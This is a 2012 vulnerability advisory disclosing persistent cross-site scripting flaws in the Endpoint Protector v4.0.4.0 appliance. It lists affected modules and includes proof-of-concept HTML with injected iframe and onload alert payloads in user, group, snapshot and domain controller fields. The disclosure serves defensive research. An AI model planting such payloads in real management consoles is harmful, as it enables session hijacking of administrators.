Endpoint Protector v4.0.4.0 - Multiple Web Vulnerabilities




Common Vulnerability Scoring System:

Endpoint Protector 4 protect your network from the threats posed by portable storage devices. Portable devices such 
as USB flash drives and smartphones may cause severe issues when it comes to controlling data use within and outside 
the company. As a full DLP product, Endpoint Protector 4 prevents users from taking unauthorized data outside the 
company or bringing potential harmful files on USB devices, files which can have a significant impact 
on your network’s health.

(Copy of the Vendor Homepage: http://www.endpointprotector.com/products/endpoint_protector )

The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Endpoint Protector v4.0.4.0 Appliance.

2012-05-13:	Researcher Notification & Coordination
2012-05-15:	Vendor Notification
2012-05-20:	Vendor Response/Feedback
2012-**-**:	Vendor Fix/Patch
2012-10-01:	Public or Non-Public Disclosure


Affected Products:
Product: Protector v4.0.4.0



Multiple persistent input validation vulnerabilities are detected in Endpoint Protector v4.0.4.0 Appliance Application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action. The bug is located on the listing of the username 
& description result pages. The bug affect all result listings inside of the application and all username and description 
input fields. Another issues is located in the Domain Controller Name of the Directory Service & in the name, host + 
description of the department or snapshot configuration.

Vulnerable Module(s):
			[+] Directory Service > Active Directory Import, Active Directory Deployment & AD Sync > Domain Controller Server Name
			[+] EndPoint Management > Users, Groups, Computers & Devices > Username, First Name, Last Name, Department, Phone & E-mail
			[+] System Maintance > System Snapshots > List Available Snapshots > Name & Description
			[+] System Configuration >  System Departments > Edit Department > Name & Description

Proof of Concept:
The persistent vulnerabilities can be exploited by remote attacker with low privileged user account or via medium or high required user inter action.
For demonstration or reproduce ...

Review: Groups Management Listing

<tr class="sf_admin_row_0_hover" style="border-left: 1px solid rgb(239, 239, 239);" onmouseover="this.className='sf_admin_row_0_hover'" onmouseout="this.className='sf_admin_row_0'" onmouseup="whichButton(event, this, 'id', '4' );return false">
                  <td>"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-Dateien/a.htm" onload='alert("VL")' <="" td="">
    <td>Taylor  </td>
    <td>Default Department  </td>
    <td>  </td>
    <td>  </td>
    <td>13-May-2012 05:08:24  </td>
    <td>demo  </td>

Review: User Management Listing

    <tr class="sf_admin_row_1_hover" style="border-left: 1px solid rgb(239, 239, 239);" onmouseover="this.className='sf_admin_row_1_hover'" onmouseout="this.className='sf_admin_row_1'" onmouseup="whichButton(event, this, 'id', '4' );return false">
                  <td>bla  </td>
    <td>>"<iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-2-Dateien/index.htm">
    <td>Default Department  </td>
    <td>  </td>
    <td>  </td>
    <td>13-May-2012 05:19:02  </td>
    <td>test  </td>

Review: Active Directory Import - Domain Controller Name

              <div id="ext-genlist4" class="x-panel-bwrap">
                <div class="x-panel-ml">
                  <div class="x-panel-mr">
                    <div class="x-panel-mc">
                      <div style="width: 100%;height:300px" id="ext-genlist5" class="x-panel-body">
                        <div style="height:270px;display:block" align="left">

                            <div class="form-row">
                                <label for="active_directory_server_name" style="width: 250px">Domain Controller Server Name:</label>  <div class="content">
                                    <input name="active_directory[domaincontroller]" type="text"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-6-[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]' <"="" size="30">
 Example: w2003server

Review: List of Computers, Users or Groups in Details Edit Checklist Name

  <ul class="sf_admin_checklist">
<li><input name="associated_group[]" id="associated_group_1" value="1" type="checkbox"> <label for="associated_group_1">sali</label></li>
<li><input name="associated_group[]" id="associated_group_2" value="2" type="checkbox"> <label for="associated_group_2">allow</label></li>
<li><input name="associated_group[]" id="associated_group_3" value="3" type="checkbox"> <label for="associated_group_3">IT Support</label></li>
<li><input name="associated_group[]" id="associated_group_4" value="4" type="checkbox"> <label for="associated_group_4">allowvpn</label></li>
<li><input name="associated_group[]" id="associated_group_5" value="5" type="checkbox"> <label for="associated_group_5">Gruppe-No-USB</label></li>
<li><input name="associated_group[]" id="associated_group_6" value="6" type="checkbox"> <label for="associated_group_6">"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-5-[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]' <<="" label=""></li>

The security risk of the persistent input validation vulnerabilities are estimated as high(-).

Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)

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Endpoint Protector v4.0.4.0 Multiple Vulnerabilities

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